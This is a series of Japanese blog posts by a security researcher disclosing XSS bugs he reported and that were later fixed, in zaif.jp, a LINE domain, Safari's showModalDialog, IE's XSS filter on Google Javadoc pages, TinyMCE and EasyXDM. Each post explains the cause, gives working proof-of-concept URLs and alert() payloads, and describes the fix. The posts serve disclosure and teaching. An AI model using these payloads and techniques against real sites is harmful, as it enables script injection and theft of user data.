最後に、このバイパスに気付かせてくれたGoogleの研究に感謝します。

2018/01/15

ユーザ入力を使った正規表現から生じるDOM based XSS

お久しぶりです&あけましておめでとうございます。昨年はブログを書く時間をうまく作ることができず、あまり記事を書けませんでした。今年はできるだけ月に1回程度何か書いていきたいと思っています。今年もよろしくお願いします!

さて、ブログを書かなかった間にXSSからSQLインジェクションへ興味が移った、なんてことはありませんでしたので、今日もいつも通り大好きなXSSの話をしたいと思います!

最近、正規表現にユーザ入力を使っていることに起因するDOM based XSSに連続して遭遇しました。あまり見慣れていない注意が必要な問題だと思うので、この記事では、見つけたもの2つがどのように生じたか、また、問題を起こさないためにどうすればよいかを紹介します。

そのうちの1つはLINEのBug Bounty Programを通じて報告した問題です。
賞金と、"LINE SECURITY BUG BOUNTY"と書かれたシンプルなTシャツをもらいました。


LINEのバグの詳細は記事の後半にあります。
それでは見ていきます!

例1: zaif.jp にあったDOM based XSS


仮想通貨が盛り上がっていますね。僕は持っていないのですが、どんなものかとTwitterで話題にあがっていた取引所の zaif.jp のトップページをふと覗いたところ、以下のような興味深いコードを見つけました。(不要な部分は省略しています。)
$(".btn").on("click", function(e) {
  var url = location.href;
  var regExp = new RegExp( location.hash, "g" );
  url = url.replace( regExp, "");
  window.location.href = url;
});
このコードは、URL中の#以降の文字を削除してリダイレクトする意図で書かれているように見えます。しかしながら、削除する方法が適切でないため、任意のスクリプトを実行できてしまいます。どこに問題があるかわかりますか?

正規表現を作っている部分に注目してください:
var regExp = new RegExp( location.hash, "g" );
この書き方には問題があります。RegExpコンストラクタの第一引数には正規表現になる文字列がきます。したがって、この場合はlocation.hashが正規表現として使われることになります。このコードでも、#aaaのように、#以降に英数字のみが含まれるようなURLであれば意図通りに#以降が削除されます。しかしながら、.や+など、正規表現の特殊文字が#以降に含まれていた場合に意図しない置換が起こってしまいます。

例えば、次のようなURLからアクセスされた場合を考えてみてください:

https://zaif.jp/#|.+

location.hashから正規表現が組み立てられることにより、URL文字列は次のように置換されます。
url.replace(/#|.+/g, "");
これは、「#」か「改行文字以外の文字の連続」(.+) のいずれかを空文字列に置換するという意味になります。.+はURL中のすべての文字列とマッチするので、すべての文字列が空文字列に置換されてしまいます。このように、正規表現の特殊文字をURLの#以降に指定することで、#以降の文字列以外も切り取ることができてしまいます。

一見、小さなバグのようにも思えますが、このせいで任意のスクリプトの実行まで可能です。切り取られた文字列はlocation.hrefに代入されるため、細工した正規表現を使って、javascript:スキームのURLとなる文字列を残せば、スクリプトを実行するURLへナビゲートできてしまいます。

PoCを示します。次のようなURLからアラートを実行できます:

https://zaif.jp/#javascript:alert(1)//|.+\x23

このURLからは次のような置換が行われます。
url.replace(/#javascript:alert(1)\/\/|.+\x23/g, "");
.+\x23 (\x23は # をエスケープした形) によって、先頭から#までの文字列が削除されます。結果、残されるのはjavascript:alert(1)//|.+\x23というURLとなり、スクリプトの実行が可能となります。

このXSSを再現できるページを用意しました。以下からスクリプトの実行を試すことができます:

https://vulnerabledoma.in/domxss_regex.html#javascript:alert(1)//|.+\x23

この問題は、2017年12月中旬に報告し、1週間程度で修正されました。現在は、正規表現を使わず、location.href.split("#")[0]で#以降の文字列を除いているようです。

例2: LINE のドメインにあったDOM based XSS


2017年4月頃にLINE Security Bug Bounty Programを通じて報告し、$500 の賞金を獲得したバグです。
以下に問題があったページを模したページを用意しました。どこにXSSがあるかわかりますか?

https://vulnerabledoma.in/domxss_regex2.html?id=123
<script id="template" type="text/template">
<img src="https://example.com/img/{{id}}.png">
</script>
<script>
function parseQuery() {
  var res = {};
  var tmp;
  var items = location.search.substr(1).split('&');
  for (var i = 0; i < items.length; i++) {
    tmp = items[i].split('=');
    if (tmp[0]) {
      res[tmp[0]] = decodeURIComponent(tmp[1]);
    }
  }
  return res;
}
function renderHTML(data) {
  var current = document.getElementById('template');
  var template = current ? current.innerHTML : '';
  for (key in data) {
    var re = new RegExp('{{' + key + '}}', 'gm');
    var safe = escapeHTML(data[key]);
    template = template.replace(re, safe);
  }
  document.body.innerHTML = template;
}
function escapeHTML(src) {
  var res = src;
  var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
  }
  for (key in escapeMap) {
    var re = new RegExp(key, 'gm');
    res = res.replace(re, escapeMap[key]);
  }
  return res;
}
var params = parseQuery();
if (params.id) {
  renderHTML(params);
}
</script>
まず、parseQuery()でクエリの名前と値のペアのオブジェクトを作成しています。クエリはページ上部にあるtype="text/template"なscriptタグにあるHTMLのテンプレートのプレースホルダ(この例では{{id}})を置換するために使われます。
置換処理部分を以下に抜粋します:
for (key in data) {
  var re = new RegExp('{{' + key + '}}', 'gm');
  var safe = escapeHTML(data[key]);
  template = template.replace(re, safe);
}
data変数はparseQuery()で作成したクエリのオブジェクトです。ここでは、クエリと同名のプレースホルダがテンプレートに存在するかどうかにかかわらず、for...in文ですべてのクエリをプレースホルダとして置換しようとしています。今回は、ユーザ入力から正規表現を組み立てているだけでなく(new RegExp('{{' + key + '}}', 'gm')部分)、置換後の文字列もユーザ入力で指定できています(escapeHTML(data[key])部分)。例えば、id=123というクエリがあるとき、次のような置換処理が行われることになります。黄色部分がユーザ入力から設定されたものです:
template.replace(/{{id}}/gm, '123');
置換後の文字列を指定できるのなら、シンプルにクエリにHTMLタグを与えることでXSSできるのではと考えるところですが、置換後の文字列はescapeHTML関数によってエスケープされるため、次のようなURLからアクセスしてもXSSは発生しません:

https://vulnerabledoma.in/domxss_regex2.html?id="><s>aaa

どんな文字列を与えたらXSSが成立するでしょう?今回も、正規表現を細工することでXSSを起こします。加えて、今回は置換後の文字列も細工します。
PoCを先に示します。次のようなURLにアクセスするとスクリプトを実行できます:

https://vulnerabledoma.in/domxss_regex2.html?id=123&|(.)h|=$1a$1onerror%3Dalert(1)//

なぜスクリプトを実行できたか見ていきます。
置換前のテンプレート文字列は次のようになっています。
<img src="https://example.com/img/{{id}}.png">
まず、クエリのid=123により、{{id}}の部分が123に置換されます。
あとに続く|(.)h|=$1a$1onerror%3Dalert(1)//というクエリからも置換が行われます。実行される置換処理は次のようになります:
template.replace(/{{|(.)h|}}/gm, '$1a$1onerror=alert(1)//');

このコードはテンプレート中にある「{{」または 「任意の1文字 + h」((.)h) または「}}」を、指定した文字列に置換しようとします。このうち、「任意の1文字 + h」はテンプレート中の以下の黄色部分で発見できます:
<img src="https://example.com/img/123.png">
この部分が、$1a$1onerror=alert(1)//で置換されます。$1は()でくくった部分にマッチした文字列を配置するという意味で、ここでは"が取り出されます。
したがって、テンプレート文字列は次のように置換されます:
<img src="a"onerror=alert(1)//ttps://example.com/img/123.png">
見ての通り、imgタグにonerrorイベントハンドラが追加できてしまっています。この文字列がdocument.body.innerHTML = template;でページに書き出されることによって、任意のスクリプトの実行が達成されるという訳です。

修正後は、ユーザ入力から正規表現を組み立てるのではなく、以下のようにテンプレートに埋め込まれたプレースホルダを検索することによって置換を行うようになったようです。
template = template.replace(/{{(\w+)}}/gm, function($0,$1) {
  return escapeHTML(data[$1]);
});

このような問題を防ぐには


どちらの問題も、ユーザ入力から"正規表現を組み立てていること"を失念しており、単に検索用の"文字列として"使われることを期待したことが原因で発生したように思います。いずれの修正も正規表現を組み立てない方法で書き直すことができているように、たいていの場合、ユーザ入力から正規表現を組み立てる必要はないはずです。
new RegExp(USER_INPUT,"")のようなコードを書いてしまったら、それは本当にやりたいことなのか、一度考え直してみるとよいかと思います。ユーザに正規表現を使わせたいとき以外、まず適切な書き方ではありません。

以上、正規表現にユーザ入力を使っていることに起因するDOM based XSSの例を2つ紹介しました。
このような問題を避ける助けとなれば嬉しいです。

2016/09/25

CVE-2016-4758: SafariのshowModalDialogに存在したUXSS

English version is here: http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html


Safari 10で修正された、showModalDialog() に存在したUXSSバグについて書きます。

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
UXSS(Universal XSS)は、ブラウザやプラグインなどのバグによって、Same Origin Policyの制限を超えてXSSできるようなバグのことを言います。はっきりした定義はないと思いますが、一言で普通のXSSと区別するのに便利なので、Webセキュリティ関係の人の間でそこそこ使われている言葉です。

このバグは2015年6月頃に発見しました。ちょうど、IEのshowModalDialogを使ったXSSフィルターのバイパスの可能性に気付き、記事にしていた頃です。その記事の中で、最後に以下のように書いていたことを覚えている方もいるかもしれません。

http://masatokinugawa.l0.cm/2015/06/xss6.html
余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。
今から書くことがこの「重大な問題」です。

なお、iOS版のSafariはshowModalDialog関数が存在しないため影響を受けません。

前提条件


ターゲットのページに次のような条件が整うと、そのオリジンでXSSを実行できます。
  1. JavaScriptによるページ遷移を相対URLで行っている。
  2. その遷移操作がページの完全なロード後に行われている。

「JavaScriptによるページ遷移を相対URLで行」うとは、location="/"とか、window.open("/","_blank")などの操作のことです。

この条件を満たすページを以下に用意しました。

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
「Top Page」ボタンをクリックしたときに、https://vulnerabledoma.in/index.html へ移動するだけのページです。
どこにでもありそうな条件ですが、これだけでXSSを実行できます。

showModalDialogの利用


ここで、古き良きshowModalDialog関数を使います。
先ほどのページをshowModalDialogのダイアログ中に開く、以下のような別オリジンのページを用意します。

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
このページから開いたshowModalDialog内の「Top Page」ボタンをクリックするとどうなるでしょうか?
普通ならそんなことは聞くまでもなく、showModalDialogを経由せずに閲覧した時と同じように、 https://vulnerabledoma.in/index.html へ移動するはずです。

しかし、Safariではそうはなりませんでした。http://l0.cm/index.html へ遷移したのです。 https://l0.cm/はshowModalDialog()を実行したオリジンであり、明らかに相対URLの基準になるURLをshowModalDialog()を実行したページと取り違えています。

この時点で、遷移する相対URLに秘密情報が含まれている場合に、無関係のページから取得できることになります。
<script>
function navigation(){
location="/test?token=abb29ad9adda09";//取得できてしまう
}
</script>
<button onclick=navigation()>Click</button>
これだけでも十分脆弱性と言えるまずい動作ですが、さらにXSSへ発展させることはできないか考えてみました。

(なお、基準のURLを間違うのはJavaScriptによる遷移操作のみで、<a>タグによるリンクや、XMLHttpRequestに使うURLなどの遷移操作以外のAPIでは、正しい基準のURLが使われていました。)

XSSへの発展


もし、showModalDialogを実行するページの基準のURLをjavascript:のURLに変更できるなら、XSSが可能かもしれないと思いました。
html5sec.org によると、Safariは<base>タグにjavascript:のURLを指定できるようです。
このトリックを使って、showModalDialogを実行するページで、次のように、<base>タグを細工してダイアログを開いてみました。

https://l0.cm/safari_uxss_showModalDialog/
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
モーダルダイアログ内の「Top Page」ボタンをクリックすると…目論見通り、alert(document.domain)が実行されました!うまくいけば、次の画像のようになります。



このようにして、基準となるURLを取り違えるバグを使って、ターゲットのページに相対URLへの遷移が記述された部分があるだけで、XSSを実行できていました。

さいごに

報告したのが2015年6月なので、修正までに1年以上かかったことになります。結構致命的な問題だと思うので、もうちょっと早く直してほしいところです。
showModalDialogは、その他のブラウザでは廃止されてきており、これを機にサポートをやめると予想していたんですが、Safari 10でもまだ使えるようですね。いつまでサポートするんでしょうか?

ともかく、まだアップデートしていない方はしましょう!

2016/07/15

CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS

English version: http://mksben.l0.cm/2016/07/xxn-caret.html
-------------------------------------------------------

以前、CODE BLUEでXSSフィルターを利用したXSSの問題について発表しましたが、同様の問題が6月のパッチでCVE-2016-3212として修正されました。この記事では詳細を紹介します。

以前公開した資料にも書いたように、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、.を#に置換させることで、<script>のsrc値や<link>のhref値を変更することによる攻撃が可能でした。



2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、#の代わりに^に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。
$3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。GoogleはほとんどのサービスでレスポンスヘッダにX-XSS-Protection: 1;mode=blockを指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!

以下にそのページのおおよそのコピーがあります。
どこかの.が^に置換されたとき、XSSが生まれるのがわかるでしょうか?

http://vulnerabledoma.in/xxn/xss_javadoc.html


答えは以下の黄色の部分にあるドットです。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
スクリプトタグで長々とやっていることは、location.search(URLの?以降)から受けとった文字列が、フレームにロードしても安全なURLかどうかの検証です。
例えば、XSSが可能な以下のようなURLはロードが禁止されます。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

しかしながら、黄色の部分の.が^に置き換わるとどうなるでしょう?

実際に動かしてみてみましょう。以下のような文字列を与えれば、無理やりページの中身を遮断規則にマッチさせ、.を置換することができます。


2016年6月のパッチをあてる前のIE/Edgeを使って以下のURLを確認してみてください。

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

targetPage.indexOf()の部分の.が^に置換され、安全なURLかどうかの検証部分のコードが実行途中でエラーとなることで、URLに与えたjavascript:のURLが実行されたはずです。

既にパッチを適用して再現できない人のために、該当部分を^に置換済みのページを用意しました。同様の動作を確認できます。

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

#への置換との決定的な違いは、#はスクリプト内で演算子ではないため、タグ内の.が#に置換されても構文が壊れるだけだったのに対し、^はビットごとのXOR演算子であり、例えば、a.b;がa^b;になったとしても構文は正しいので、少なくともそこまでは実行されるという点です。このせいで、targetPage変数に未検証の危険な値が入ったまま例外を出し、別の関数でこの変数を利用した結果、XSSが起きたという訳です。



もちろん、XSSが可能だったのはGoogleに限ったことではなく、同バージョンの吐くJavadocのHTMLをX-XSS-Protectionの指定なしに設置しているサイトすべてでXSSが可能でした。

2016年6月の修正後は、例え明示的にヘッダで指示されていなくても、.への反応時には1; mode=blockの動作が強制されるようになりました。これでひとまずは.を置換することによるXSSは起きなくなりました。

^に置換することで回避しようとしたときは唖然としましたが、ひとまずこれで落ち着きました。

また、直近のパッチ(2016年7月)で、その他、CODE BLUEの発表以前に指摘したすべての問題についても改善が行われたようです。この辺りの問題については記事を改めて近いうちに書きます。

2016/04/16

TinyMCE 4.3.9で修正されたXSS

2月頃、リッチテキストエディタの TinyMCE のXSS脆弱性を報告しました。
特にセキュリティの修正をしたといったアナウンスはありませんが、数日前に公開された4.3.9でこの問題が修正されています。Twitterのプロフィールにも、「World's #1 most popular open source #WYSIWYG editor」 とあるくらい、世界的にも非常によく使われているリッチテキストエディタのようですので、更新を促すためにこの記事を書きます。

XSS脆弱性は 4.3.8 以下のバージョンにあります。
僕の知る限りでは、TinyMCEのPreview Plugin機能を使っていなければ影響を受けません。
この機能を呼び出さないようにするか、4.3.9以上に更新してください。

これ以下は、技術的な説明になります。この脆弱性の発生原因は、技術的にも少し面白いです。

発火する場所は、エスケープしていない文字列をdocument.write()しているだけなんですが、入り込む原因が特殊です。

ここで脆弱なHTMLを組立てて、
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L31
headHtml += '<base href="' + editor.documentBaseURI.getURI() + '">';
ここでwrite()して発火しています。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L82
doc.write(previewHtml);
書き出されるURLは以下のdocumentBaseURL変数から設定されます。
https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/classes/EditorManager.js#L164-174
documentBaseURL = document.location.href;
// Check if the URL is a document based format like: http://site/dir/file and file:///
// leave other formats like applewebdata://... intact
if (/^[^:]+:\/\/\/?[^\/]+\//.test(documentBaseURL)) {
documentBaseURL = documentBaseURL.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(documentBaseURL)) {
documentBaseURL += '/';
}
}
location.hrefからURL文字列を受け取り、replace()の部分の正規表現で必要な文字列だけを切り取っています。その結果、返ってくることを期待している文字列は、少なくともパス部までの文字列です。例えば「https://example.com/AAA/BBB/CCC?DDD#EEE」というURL文字列からは、「https://example.com/AAA/BBB/」が返ってきます。以下でテストできます。

https://jsfiddle.net/nsuqthb5/
<script>
baseUrl="https://example.com/AAA/BBB/CCC?DDD#EEE";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
この、期待した文字列ですら、 document.write('<base href="'+ baseUrl +'">')とかって書き出そうとすることは危ういのですが、モダンなブラウザでは、location.hrefプロパティで取得されるパス部の"は%22にエンコードされるので、控えめに言えばギリギリセーフです。(Safari 5.xとかだとアウトです。)
古いブラウザで脆弱になることは受け入れるとしても、この正規表現の切り取り方では、モダンなブラウザでも期待しない文字列を呼び込んでしまいます。次のようなURLが与えられた場合です。

https://jsfiddle.net/c2L6guLf/
<script>
baseUrl="https://example.com/xxx#\u2028\"><[XSS_CODE_HERE]>/";
if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
if (!/[\/\\]$/.test(baseUrl)) {
baseUrl += '/';
}
}
alert(baseUrl);
</script>
今度は、#以降の、XSS_CODE_HEREまで含んだURLがアラートされるはずです。
ポイントは黄色でマークした \u2028の部分です。U+2028/U+2029は JS中で改行と同じ扱いになるという話を以前ブログで取り上げましたが、この扱いが今回の正規表現と絡んできます。replace(/[\?#].*$/, '')は、URL文字列の最後まで、改行が含まれないことを前提として、?か#以降の文字列を全て取り除こうとします。ところが、U+2028が?か#以降に入ってくると、U+2028が.にマッチしないため、この正規表現による削除が行われなくなってしまうのです。その場合、返ってくる文字列は何も置換が行われていないlocation.hrefそのものになってしまいます。

実際にXSSを再現させてみます。
baseタグは、エディタの内容をPreviewする機能を実行した時に作成されます。
以下にIE/Edgeでアクセスし、View →Preview とボタンを押してみてください。

http://vulnerabledoma.in/tinymce/xss_preview_4.3.8.html#"><img src=x onerror=alert(document.domain)>
/

うまくいけば以下のようにみえるはずです。



なぜ、IE/Edge限定なのかというと、FirefoxやSafariはURL中のU+2028文字をエンコードしてしまうため、正規表現を騙すことができないからです。また、Chromeはbaseタグから抜けて、スクリプトの実行も可能なのですが、IE/Edge以外はallow-scriptsによりスクリプトの実行だけが許可されたsandbox属性付きのiframeの中でプレビューを表示するようになっているため、少なくともTinyMCEを設置したオリジンでのスクリプト実行には繋がらないようになっています。以下の箇所でIE/Edgeとそれ以外で表示方法を変えているのがわかります。

https://github.com/tinymce/tinymce/blob/4.3.8/js/tinymce/plugins/preview/plugin.js#L76-86

よって、Chromeの場合では、厳密には影響がないとは言えないものの、実行されるコンテキストがサンドボックス内のため、プレビューの偽装かプレビューした情報の奪取程度の限定的なものになります。

修正は以下の部分で行われました。
https://github.com/tinymce/tinymce/commit/1483e4fd47ab58b5fc1015f82253c90caaeedc44
if (loc.protocol.indexOf('http') !== 0 && loc.protocol !== 'file:') {
baseUrl = loc.href;
} else {
baseUrl = loc.protocol + '//' + loc.host + loc.pathname;
}

location.protocolにhttpという文字列を含まない、かつ、file:でない場合のみ、location.hrefをそのまま使い、それ以外は、location.protocol とlocation.hostとlocation.pathnameを連結したものを使うようになりました。心許ないかんじがしますが、少なくとも僕にはこれを破ってXSSすることができなかったので、とりあえず、問題なさそうと伝えました。(もっとも、Safari 5.x などではエンコードされていない"をlocation.pathnameに含むことができるので、相変わらず脆弱です。)

以上、U+2028/2029で起きる問題でした。U+2028/2029が絡んだ問題はまれにみますが、わかりにくいので、まだまだ潜んでいそうです。

最後に言いたいのですが、特に、利用者が更新する必要のあるアプリケーションを提供する人は、脆弱性があったということを絶対に告知すべきです。そうしないと、利用者が更新の必要性に気付けず、脆弱なバージョンを使い続けることになってしまいます。セキュリティの修正がある場合は、提供者側で可能な限り大きな声で更新を促すようにしてほしいと思います。

2016/04/08

EasyXDM 2.4.20で修正されたXSS

Update: English version is here: http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html
------------------

EasyXDM というクロスドメインでのあれこれを便利にしてくれるライブラリの 2.4.20 で、自分の報告したXSS脆弱性が修正されています。使っている人はアップデートしましょう。

Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub
https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20

以前にも脆弱性が指摘されていますが、それとは別の問題です。

http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html
http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html
http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html


これ以下は技術的な説明です。
このバグはDOM based XSSなのですが、再現方法が少し変わっているので紹介します。

このXSSはIEでのみ動作します。おまけにドキュメントモードがIE7モード以下でないと起こりません。なぜかというと、XSSのある場所が、バグった挙動があると判断されたブラウザだけが通過する箇所にあり、その条件を満たすのが、IE7モード以下だけだからです。

次のcreateElement()の箇所でXSSが起きます。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509
    if (HAS_NAME_PROPERTY_BUG) {
        frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
    }

このif文の条件のHAS_NAME_PROPERTY_BUGという値が、バグった挙動があると判定されたブラウザだけtrueになります。設定しているのは、以下の部分です。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    document.body.removeChild(form);
    // #ifdef debug
    _trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);
    // #endif
}
formと名前付きのinputを作って、名前からinput要素にアクセスできるかテストしています。どうやら、IE7モード以下では、動的に作った名前付きの要素に、名前経由でアクセスできないバグがあるらしく、その回避策として、このようなコードで一度検証を行っているようです。

このテスト部分だけを実行できるページを以下に用意しました。IEでアクセスすることで、HAS_NAME_PROPERTY_BUGの値がtrueになることを確認できます。

http://vulnerabledoma.in/easyxdm/name_property_test.html

それでは、実際に脆弱なEasyXDMで、XSSが起きることを確認してみます。以下にIEでアクセスして、IEのF12開発者ツール( F12 → エミュレーション )から、ドキュメントモードをIE7以下にしてみてください。アラートが出るはずです。

http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0

これで、IE7モード以下でXSSが可能なことがわかりました。しかし、IE7モード以下でEasyXDMを利用しないとXSSが起こらないのでは、攻撃できる条件がかなり限られてしまいます。

そこで、最近公開した資料にも書いた、「ドキュメントモードの継承」というテクニックを使います。

ドキュメントモードを変更した親のフレームに埋め込むと、フレーム内のドキュメントモードも変更されるというテクニックでした。これを使ってみましょう。

http://l0.cm/easyxdm/poc.html
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
どうでしょうか?まだアラートは動かないはずです。親はIE=5指定により、IE5モードで動いているはずなのに、フレームの中のドキュメントモードは8までしか下がっていません。これは、フレーム内のページの先頭に<!DOCTYPE html>があるからです。この宣言がある場合、IE11では、フレームに埋め込んでも降格されるのは8までが限度になっています。XSSを成功させるにはなんとか7まで下げなければいけません。

ご安心ください。実は、さらに強力な継承方法があります。以下にIE11でアクセスしてみてください。

http://l0.cm/easyxdm/poc.eml

どうですか?今回はアラートが出たと思います。1つ前のページとの違いは、このページは、text/html ではなく、Content-Type: message/rfc822形式のページだということです。スライド中でも触れたのですが、IE11/Edgeは、今もmessage/rfc822形式のドキュメントをブラウザ内で開くことができます。(mhtml:という文字列はなくても開けます。)

message/rfc822形式のページは、デフォルトでIE5モードで表示されるようです。そしてどうやら、そこに埋め込んだフレームに対するドキュメントモードの継承の力が通常のtext/htmlよりも強いようなのです!例え、先頭に<!DOCTYPE html>があろうとも7までは降格させることができます。実際に、フレーム内のドキュメントモードをみると7まで下がっており、このおかげで、脆弱な箇所への到達に成功したことがわかります。

この手法を使えば、EasyXDMのXSSのように、IE7のドキュメントモードでしか再現しない問題を、脆弱性のあるページのドキュメントモードにかかわらず、また、ユーザによるドキュメントモードの切り替え操作なしに、攻撃可能な問題に発展させることができる、という訳です。

ちなみに、もう1つ強力な継承が起きる場所があります。それは、CVリスト(互換表示リスト)でIE7のドキュメントモードで表示指定しているサイトのフレームです。
CVリストはWindowsの以下の場所に保存されています。ここにリストされているドメインは、リストで指定したドキュメントモードで表示されるようになります。

%LOCALAPPDATA%\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

ここにリストしてもらうには、面倒な手続きが必要ですが、XSSのためにそんなことをする必要はありません。なぜなら、既にここにリストされているドメインのXSSを探してきてそのページ内にフレームを作ればいいだけだからです。めちゃくちゃなことを言っているように聞こえるかもしれませんが、その方がMicrosoftを騙して手続きするよりもはるかに簡単で現実的です。

実験してみましょう。CVリストに載っている以下のMicrosoftのドメインのページを開いて(※Under Construction と表示されますがそれでOKです )、

http://epim.partners.extranet.microsoft.com/
<domain docMode="EmulateIE7" versionVector="7" uaString="7">epim.partners.extranet.microsoft.com</domain>
F12開発者ツールのコンソール上で、以下を実行してみてください。フレーム内のページのドキュメントモードは7まで降格され、message/rfc822の時と同様にEasyXDMの脆弱箇所に到達し、アラートが出ると思います。
document.write('<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>')
message/rfc822の強い継承に気付くまではこの方法で攻撃可能なことを証明していました。今となってはmessage/rfc822の方が簡単なので、あえてこっちを使う理由はありません。

以上、EasyXDMのXSSの技術的な部分を説明しました。

今月は余力があれば(2月、3月書いてない分)もう1つか2つ記事を書く予定です。

2016/01/29

Google Toolbarのコマンドを利用したXSS

2015年6月頃にみつけた、toolbar.google.com の、少し変わったXSSを2つ紹介します。

The English version is here: http://mksben.l0.cm/2016/01/google-toolbar-xss.html

何が変わっているか


このXSSは、Google ToolbarがインストールされているIEでしか動作しません。Google Toolbarがインストールされていると、toolbar.google.com 上に用意されたUIから、ツールバーを操作するコマンドを実行できるようになります。このコマンドを利用することでXSSに繋げるという点が、よくあるものとは異なります。

